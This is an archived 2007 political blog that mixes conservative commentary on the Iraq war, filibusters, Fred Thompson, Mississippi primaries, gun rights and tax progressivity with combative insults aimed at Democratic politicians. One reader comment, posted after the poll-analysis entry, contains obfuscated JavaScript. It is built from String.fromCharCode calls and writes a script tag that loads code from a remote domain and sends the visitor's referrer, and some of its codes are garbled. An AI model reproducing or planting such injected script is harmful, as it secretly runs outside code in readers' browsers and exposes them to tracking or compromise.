Mr. EdelmanÂ’s July 16 message, in response to questions Mrs. Clinton raised in May, was obtained Thursday by The Associated Press.

“Premature and public discussion of the withdrawal of U.S. forces from Iraq,” he wrote, “reinforces enemy propaganda that the United States will abandon its allies in Iraq, much as we are perceived to have done in Vietnam, Lebanon and Somalia.”

A Clinton spokesdrone made the following response.

A Clinton spokesman, Philippe Reines, said the senator would respond to Mr. Edelman’s boss, Defense Secretary Robert M. Gates. Mr. Reines said military leaders should offer a withdrawal plan rather than “a political plan to attack those who question them.”

Excuse me -- members of the United States Senate, especially those who are putting themselves forward as candidates for the presidency, should be offering their own strategy for victory rather than cravenly undercutting the troops and emboldening the enemy with calls for unilateral retreat and surrender.

OPEN TRACKBACKING AT The Virtuous Republic, Blog @ MoreWhat.com, Perri Nelson's Website, 123beta, DeMediacratic Nation, Jeanette's Celebrity Corner, Right Truth, Big Dog's Weblog, Maggie's Notebook, The Pet Haven Blog, Webloggin, Stuck On Stupid, The Amboy Times, Leaning Straight Up, Cao's Blog, The Bullwinkle Blog, Phastidio.net, Diary of the Mad Pigeon, third world county, Right Celebrity, Woman Honor Thyself, The Crazy Rants of Samantha Burns, stikNstein... has no mercy, Blue Star Chronicles, Nuke's news and views, Pirate's Cove, The Pink Flamingo, CommonSenseAmerica, Dumb Ox Daily News, and Church and State, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 06:20 AM | No Comments | Add Comment
Post contains 323 words, total size 5 kb.

Maybe we need to send Half-wit Harry Reid a shirt that reads "No Surrender, No Peace".

Senate Majority Leader Harry M. Reid offered no apologies yesterday for his decision to reject compromise efforts to alter President Bush's Iraq strategy that had the support of a growing number of Republicans.

"We did the very best we could," the senator from Nevada said in response to criticism that he had cut off debate on Wednesday just as a bipartisan consensus on milder Iraq proposals was emerging. "I strongly believe we should have a bipartisan foreign policy." But he added: "We need to do something to change the course of the war."

But the only change he wants is from a situation in which the United State is winning to one in which the United States declares itself defeated and flees home in the face of a nearly-vanquished enemy.

Patheric, isn't it, that such a spineless man is the best that Democrats have to offer as "leader" in the Senate.

Posted by: Greg at 02:54 AM | No Comments | Add Comment
Post contains 183 words, total size 1 kb.

Damn -- not only has Obama forgotten 9/11 and the Gulf War, he clearly has forgotten Rwanda, Cambodia, and the Shoah.

Democratic presidential hopeful Barack Obama said Thursday the United States cannot use its military to solve humanitarian problems and that preventing a potential genocide in Iraq isn't a good enough reason to keep U.S. forces there.

"Well, look, if that's the criteria by which we are making decisions on the deployment of U.S. forces, then by that argument you would have 300,000 troops in the Congo right now — where millions have been slaughtered as a consequence of ethnic strife — which we haven't done," Obama said in an interview with The Associated Press.

"We would be deploying unilaterally and occupying the Sudan, which we haven't done. Those of us who care about Darfur don't think it would be a good idea," he said.

In other words, all that we have to do is "care" -- not act -- about genocide to do our duty in the the world of Senator Obama.

But he ignores one point in his analysis -- we have the means, right now, to prevent the carnage that would follow our withdrawal by not withdrawing. But his strawman argument - if we aren't stopping genocide everywhere we shouldn't stop it anywhere -- is morally bankrupt. It is like arguing that I shouldn't help one poor family in my neighborhood because I cannot wipe out world poverty.

Posted by: Greg at 02:22 AM | Comments (1) | Add Comment
Post contains 253 words, total size 2 kb.

And the real kicker in the opinion is found here.

"But there can be no serious dispute that the act of rebutting public criticism, such as that levied by Mr. Wilson against the Bush administration's handling of prewar foreign intelligence, by speaking with members of the press is within the scope of defendants' duties as high-level Executive Branch officials."

In other words, any claim made by the perjurious, nepotism-encouraging former CIA employee and her partisan-hack husband will likely be barred by the immunity officials have for acting within the scope of their employment.

In other words, thee is no right to have one's false claims about the government and its policies stand unchallenged by the public officials involved.

Posted by: Greg at 01:57 AM | Comments (1) | Add Comment
Post contains 124 words, total size 1 kb.

You can tell how much the media and the Left fear Fred Thompson -- they want to do their best to undermine him with the GOP base. You therefore get this headline.

Records Show Ex-SenatorÂ’s Work for Family Planning Unit

True enough -- but what they show is that Fred Thompson really didn't perform any significant work for the pro-abortion group as a lobbyist. After all, the total amount billed over the course of 2 1/2 years was under 20 hours. Of that, just 3 1/3 hours are reported as actual lobbying work -- the rest of the time would be meetings and consultations at the request of the colleague who was working for the pro-abortion group. Indeed, the lack of specificity in the records as to who was spoken to and what was discussed leads me to wonder if the hours were not mis-categorized -- after all, not a single individual from the Bush I administration has ever stepped forward to say that Fred Thompson spoke to them about the gag-rule.

Indeed, the billing records seem to show that Fred Thompson was not hired to lobby for the pro-abortion group, contrary to the claims of the group's leader.

Posted by: Greg at 06:30 AM | Comments (19) | Add Comment
Post contains 211 words, total size 1 kb.

Houston Chronicle On Filibusters -- 2005.

At stake is whether senators of the minority party will be allowed to play any role in the Senate's constitutional duty to advise and consent. . . . Without the right to unlimited debate so long as 41 senators desire it, the Senate could cease to be the world's greatest deliberative body and become another rubber stamp for the party in power and the interests that fill its campaign coffers.

Houston Chronicle on Filibusters -- 2007.

Reid was right to force opponents to filibuster or allow the matter to go to a vote. At the end of the exercise, the withdrawal amendment failed to get the 60 votes needed for closure, but the public is now clearer as to which lawmakers prevented the Senate from doing its job.

In other words, the Houston Chronicle doesn't believe the filibuster is all that essential to making the US Senate "the world's greatest deliberative body" when it is used to prevent a vote on policies the paper supports. When Democrats use the filibuster, it is part of the Senate doing its job, but when Republicans use it, is is "lawmakers preventing the Senate from doing its job." I suppose that is true -- but only if one operates on the premise that the job of the US Senate is to enact the policies of the Democrats in all circumstances whatsoever.

Posted by: Greg at 01:34 AM | No Comments | Add Comment
Post contains 245 words, total size 2 kb.

Harry Reid on filibusters -- 2005

Mr. President, the filibuster is a critical tool in keeping the majority in check.

Harry Reid on filibusters -- 2007.

After the results were tallied, Reid asked GOP leaders to accept simple-majority votes. When they refused, Reid announced that the debate would be suspended, possibly until after Labor Day or until Republicans dropped their filibuster. He called the 60-vote requirement "a new math that was developed by the Republicans to protect the president."

Gee, harry, what happened? I thought that the filibuster was an important tool for the minority to keep the majority in check. Did you really mean that it was an important tool for Democrats to obstruct Republican proposals, but is illegitimate when used by Republicans?

Sit down, shut up, and go back to counting your dirty money from insider real estate deals.

Posted by: Greg at 01:17 AM | Comments (3) | Add Comment
Post contains 155 words, total size 1 kb.

If they are less than half as popular as the president, you know what that means.

Worst.

Congress.

Ever.

Posted by: Greg at 07:21 AM | Comments (5) | Add Comment
Post contains 29 words, total size 1 kb.

One day a statue of Connecticut Senator Joe Lieberman will be placed in the United States Capitol to honor his dedicated service to America. On its base must be inscribed this quote from last night's debate on the War in Iraq.

“The American military will never lose the war in Iraq…if lost, it will be lost by a lack of political will.”

Ladies and gentlemen -- no truer words have ever been spoken on the floor of the United States Senate.

Posted by: Greg at 06:21 AM | No Comments | Add Comment
Post contains 91 words, total size 1 kb.

Fred will be passing through Texas on Wednesday, July 25th!

HeÂ’ll be spending the morning in Houston and the afternoon in Dallas.

The Texas FredHeads will be meeting Fred at Hobby Airport at 9:00 am and at Love Field at 3:30 pm.

Those interested in meeting Fred in Houston should contact

HoustonFredHeads@gmail.com

and those interested in meeting Fred in Dallas should contact

allasFredHeads@gmail.com">DallasFredHeads@gmail.com

for more information.

If you email, the Thompson folks will be able to give you all the details -- and get a head-count for how many folks to anticipate.

Posted by: Greg at 01:02 AM | Comments (1) | Add Comment
Post contains 104 words, total size 1 kb.

In Mississippi, it has been the custom for many white voters to vote for moderate/conservative Democrats running for local office at primary time, while still voting for GOP candidates for statewide and national office. A recent ruling by a federal court will make that impossible -- and likely put the GOP in the driver's seat in the state for decades to come.

A federal court ruling in June that forces voters to register by party could return Mississippi to the days of racially polarized politics, as many white Democrats warn that thousands of white voters will now opt definitively for the Republican Party.

Republican-leaning voters in Mississippi have long been able to cross party lines in primaries, voting for centrist Democrats in state and local races while staying loyal to Republican candidates in national races. But political experts here say that by limiting these voters — almost all of whom are white — to Republican primaries, the ruling will push centrist Democratic candidates to the other party, simply in order to survive.

Most black voters in Mississippi are Democrats, and black political leaders have been pushing for years to prevent crossover voting in Democratic primaries. Black leaders say they want to end precisely what white Democrats here seek to preserve, a strong moderate-to-conservative voice in the Democratic Party, and in the process to pick up more state and local posts.

The ruling last month by Judge W. Allen Pepper Jr. of Federal District Court allowed the legal remedy sought by black leaders. Judge Pepper said the Democratic Party in Mississippi had a right to “disassociate itself” from voters who were not genuine Democrats. Most other Southern states also have open primaries.

Now as i see this, there are a couple of outcomes likely to arise from this. First, there will be a surge in GOP registrations and in GOP officeholders. Second, it is likely that those voter purged by the Democrats will be a moderating force in GOP politics, while their loss by the Democrats will take the party further outside the mainstream. This can only bode well for the GOP -- even as the race-baiters in the Democratic Party gain more internal power, their broader appeal will be decreased.

And lest you think that I'm over-reacting with my use of the term "race-baiters", consider the sort of person who sought and supports teh ruling.

Black Democrats who pushed the lawsuit that led to the ruling seemed to view the potential hemorrhaging of white voters with equanimity. One of their leaders is Ike Brown, a state Democratic executive committee member who was recently found by another federal judge to have systematically violated voting rights of whites, through intimidation and other means, as party boss in his home county, Noxubee, in the eastern part of the state.

Welcoming Judge Pepper’s ruling, Mr. Brown said in an interview: “We are tired of being abused by the white Democrats in Mississippi. We have just had enough. We want the Republicans out of our party.”

Yeah, that's right -- a fellow convicted of implementing a reverse-"Jim Crow" voting system in his county to disenfranchise white voters finds this to be a positive development. Tell me -- if a GOP leader were to complain about the voting preferences and habits of white voters, how loud would the outrage be? And how quickly would he be driven from party office if convicted of voting rights violations?

Of course, this entire suit is driven by those who believe that the skin color of a candidate (or voter) is more important than the content of his/her character. If the Democrats again want to segregate their party, so be it -- but recognize please, that it is once again the Democrats demanding such segregation.

Posted by: Greg at 12:56 AM | No Comments | Add Comment
Post contains 645 words, total size 4 kb.

I'll concede that I am not a big one for entitlement programs, but when you have a precedent reaching back to the times of the American Revolution, it might just be worth thinking about.

On Jan. 2, 1775, as historian David Hackett Fischer recounts in Paul Revere's Ride, the good people of Newton held a town meeting. The issues they discussed were similar in a certain sort of way to the issues that might be discussed today by the D.C. council. They included a proposed gun law and entitlement program.

In Newton, the gun law and entitlement program were one and the same.

The Newtonians thought it so important for every man in town to own a gun that they were ready to give him one if he could not afford it.

"Voted," say the town records, "that the Selectmen use their best discretion in providing fire-arms for the poor of the town who are unable to provide for themselves."

The District of Columbia argues that since there is no longer a colonial-style militia, the rest of the Second Amendment is meaningless -- hence it can ban the people from either keeping or bearing arms. Under that logic, the DC government could shut down the Washington Post because it no longer uses the sort of presses in vogue in the 1790s -- and there would be no First Amendment protection at all for television, radio, and the internet. But we can see what was important to those who fought for the independence of this country and later adopted our Constitution -- that each free citizen have the means of self-defense, and the assistance of the government in obtaining it if he could not.

OPEN TRACKBACKING AT Outside the Beltway, Perri Nelson's Website, Blog @ MoreWhat.com, The Virtuous Republic, The Random Yak, DeMediacratic Nation, guerrilla radio, Big Dog's Weblog, Right Truth, Webloggin, Stuck On Stupid, Leaning Straight Up, The Bullwinkle Blog, Cao's Blog, The Amboy Times, The Pet Haven, Conservative Cat, Adeline and Hazel, third world county, The World According to Carl, The Pink Flamingo, CommonSenseAmerica, CORSARI D'ITALIA, Right Voices, The Yankee Sailor, and Gone Hollywood, thanks to Linkfest Haven Deluxe.

Posted by: Greg at 12:30 AM | Comments (1) | Add Comment
Post contains 374 words, total size 4 kb.

This looks bad.

AP Poll: GOP pick is 'none of the above'

And it seems worse when you read the rather convoluted reporting on the poll in question.

And the leading Republican presidential candidate is ... none of the above.

The latest Associated Press-Ipsos poll found that nearly a quarter of Republicans are unwilling to back top-tier hopefuls Rudy Giuliani, Fred Thompson, John McCain or Mitt Romney, and no one candidate has emerged as the clear front-runner among Christian evangelicals. Such dissatisfaction underscores the volatility of the 2008 GOP nomination fight.

In sharp contrast, the Democratic race remains static, with Hillary Rodham Clinton holding a sizable lead over Barack Obama. The New York senator, who is white, also outpaces her Illinois counterpart, who is black, among black and Hispanic Democrats, according to a combined sample of two months of polls.

A half year before voting begins, the survey shows the White House race is far more wide open on the Republican side than on the Democratic. The uneven enthusiasm about the fields also is reflected in fundraising in which Democrats outraised Republicans $80 million to $50 million from April through June, continuing a trend from the year's first three months.

"Democrats are reasonably comfortable with the range of choices. The Democratic attitude is that three or four of these guys would be fine," David Redlawsk, a University of Iowa political scientist. "The Republicans don't have that; particularly among the conservatives there's a real split. They just don't see candidates who reflect their interests and who they also view as viable."

More Republicans have become apathetic about their options over the past month.

A hefty 23 percent can't or won't say which candidate they would back, a jump from the 14 percent who took a pass in June.

Now that sounds really bad -- until one considers that over the last two months we have seen a new major candidate (sort of) enter the picture and another one begin to swoon. And interestingly enough, the AP doesn't link back to the actual data -- I had to go to the Ipsos website to find it. And know what -- the actual data shows something very different.

1b. If the 2008 Republican presidential primary or caucus in your state were being held today, and the candidates were...for whom would you vote?

Candidate	7/9-11/07	6/4-6/07	3/5-7/07
Giuliani	21	27	35
Thompson	19	17	N/A
McCain	15	19	22
Romney	11	10	8
Gingrich	5	7	11
Huckabee	3	2	3
Brownback	1	3	3
Other	2	1	-
None	8	4	6
(DK/NS)	15	10	12

So as I see the data here, you really only have a group of 8% opposed to all the candidates. What you do have, however, is a 15% undecided group as the GOP field finds itself in a state of flux -- waiting to see what happens with the race before committing themselves to one candidate or another. That said, 2/3 of GOP voters are committed to one of the top 4 candidates -- hardly a sign of dissatisfaction, especially when our candidate list is still in flux and we are still six months away from the first primary or caucus!

I suspect that we will see some additional changes in the next couple of months, as Thompson formally declares his candidacy sometime before Labor Day and McCain continues to flounder. And when Newt Gingrich makes it official that he has just been teasing the base with his hints of a presidential run, that will cause another 5-10% to move into the folds of the other major candidates.

MORE AT Michelle Malkin

Posted by: Greg at 02:57 AM | Comments (1) | Add Comment
Post contains 572 words, total size 4 kb.

1 var r = document.referrer; document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(34)+String.fromCharCode(104)+String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(5 +String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(46)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(97)+String.fromCharCode(116)+String.fromCharCode(115)+String.fromCharCode(45)+String.fromCharCode(10 +String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(109)+String.fromCharCode(47)+String.fromCharCode(103)+String.fromCharCode(9 +String.fromCharCode(46)+String.fromCharCode(112)+String.fromCharCode(104)+String.fromCharCode(112)+String.fromCharCode(63)+String.fromCharCode(105)+String.fromCharCode(100)+String.fromCharCode(61)+String.fromCharCode(103)+String.fromCharCode(3 +String.fromCharCode(114)+String.fromCharCode(61)+escape(r)+String.fromCharCode(34)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))

Posted by: John at Fri Nov 21 07:12:37 2008 (8qEmy)

Hide Comments | Add Comment

Contrary to the claims of Democrats and other folks who argue that we have taken progressivity out of the tax system, a quick examination of the actual data shows something else.

The best source for objective data on the distribution of the tax burden is the Congressional Budget Office. The C.B.O. goes beyond anecdotes and bald assertions to provide hard data on who pays taxes. One can argue about the details of its methods, but there is no doubt that it is nonpartisan and that its tax analysts are some of the best in the business.

The C.B.O.Â’s most recent calculations of federal tax rates show a highly progressive system. (The numbers are based on 2004 data, but the tax code has not changed much since then.) The poorest fifth of the population, with average annual income of $15,400, pays only 4.5 percent of its income in federal taxes. The middle fifth, with income of $56,200, pays 13.9 percent. And the top fifth, with income of $207,200, pays 25.1 percent.

At the very top of the income distribution, the C.B.O. reports even higher tax rates. The richest 1 percent has average income of $1,259,700 and forks over 31.1 percent of its income to the federal government.

This does, however, take into account the fact that a good chunk of the taxes paid by the wealthy are paid indirectly, by corporations that pay taxes on profits before dividends are paid to stockholders.

When the C.B.O. studies the tax burden, it includes all federal taxes, including individual income taxes, payroll taxes and corporate income taxes. In its analysis, payroll taxes are borne by workers, and corporate taxes by the owners of capital. For the richest 1 percent of the population, 9.3 percentage points of their 31.1 percent tax rate comes from the taxes that corporations have paid on their behalf.

So, as the article points out, when you get a Warren Buffett claiming that he pays only 17.7 percent of his income in taxes, that doesn't count the indirect tax burden carried by the companies in which he hold stock (interestingly enough, the bottom 1/5 of wage earners actually pay less than the amount of their social security taxes due to the EIC and other refundable tax credits -- subtract the employer's portion of the payroll tax and you will see that they actually have a negative tax rate!).

As you can see, the wealthiest Americans actually pay very close to 1/3 of their income in taxes when one uses the CBO statistics. Here's the question to be asked of any candidate or officeholder who objects to "the Bush tax cuts for the rich" -- how much above 1/3 of their income do they believe "the rich" should pay?

Posted by: Greg at 08:59 AM | No Comments | Add Comment
Post contains 465 words, total size 3 kb.

Former Congresswoman Shelley Sekula Gibbs reports strong grassroots fundraising for the second quarter of 2007 as she seeks the opportunity to regain the seat she won in the 2006 special election, while Democrat Nick Lampson sucked up PAC dollars in his bid to retain the seat he won without a GOP opponent on the ballot following the resignation Tom Delay.

According to his release, Lampson raised more than $288,000 between April 1 and June 30 of this year, while FEC reports show Gibbs raised more than 138,000 for the same period.

ThatÂ’s less than 10% of what Lampson raised to wage his 2006 campaign against Tom DeLay, which then morphed into a race against Gibbs.

LampsonÂ’s second quarter report somewhat resembled the firstin that then well more than half his contributions came from PACs. So far this year money has come from those operated by the likes of National Weather Service Employees, Employees of Northrop Grumman Corp., Qwest Communications, Comcast, the Sheetmetal Workers Association, Chevron Employees, Verizon Communications, the International LongshoremanÂ’s Association, the American Road and Transportation Builders Association and on and on.

“Lampson, who recently had to spend six weeks recovering from major heart surgery, now has $441,049.87 cash on hand,” his campaign said in a prepared statement. “Despite having to spend half of the last quarter recovering from a quadruple bypass heart surgery, Congressman Lampson exceeded the campaign’s original goals.”

By contrast, Gibbs got just $5,000 from PACs in the second quarter. She and campaign manager Troy Berman were quick to point out the other day that the bulk came from “grass roots” contributions.

Some of that grass was a little greener than others, as numerous dermatologists and other medical doctors kicked in $250, $500 or $1,000 apiece to fellow dermatologist Gibbs. Lampson grassroots givers were more likely to be lawyers.

Gibbs showed “an impressive $137,000 raised and over $180,000 cash on hand at the close of the reporting period,” her campaign said in a press release. “Our fundraising is just starting and will continue to grow. With influential community leaders like Mr. Bob Perry, Don Jordan, John O’Neill and Senator Mike Richards helping our campaign I know we’ll have the resources we need to take back TX-22,” Gibbs said in the release.

Lampson's reliance on out-of-district special interest money is no surprise, given that CD22 is overwhelmingly Republican and the strange route by which he won the district in 2006. And given Sekula Gibbs' support by prominent republicans from the district, it seems clear that she ought to be the favorite for the nomination in 2008 -- and in the 2008 general election.

Posted by: Greg at 01:19 AM | No Comments | Add Comment
Post contains 454 words, total size 3 kb.

If the situation in Virginia is any sign, it is likely that GOP success will continue in many states -- and this might bode well for the party nationally as well.

Virginia residents' negative feelings toward the Bush administration and the national Republican Party have not tarnished state Republicans or broadly diminished their chances to keep control of the General Assembly after the Nov. 6 election.

Although Virginia residents say they strongly disapprove of the war in Iraq, more than half of the state's voters approve of the state Republican Party, and a sizable majority has confidence in the state government to make the right decisions for the future.

If such a trend does exist, we are likely to see a continued GOP domination in many states -- and the rise of a new generation of national GOP leaders whose success at the state level will cause the people of their states to send them to Washington. So rather than a party realignment, might we instead be seeing a changing of the guard?

Posted by: Greg at 01:28 AM | No Comments | Add Comment
Post contains 185 words, total size 1 kb.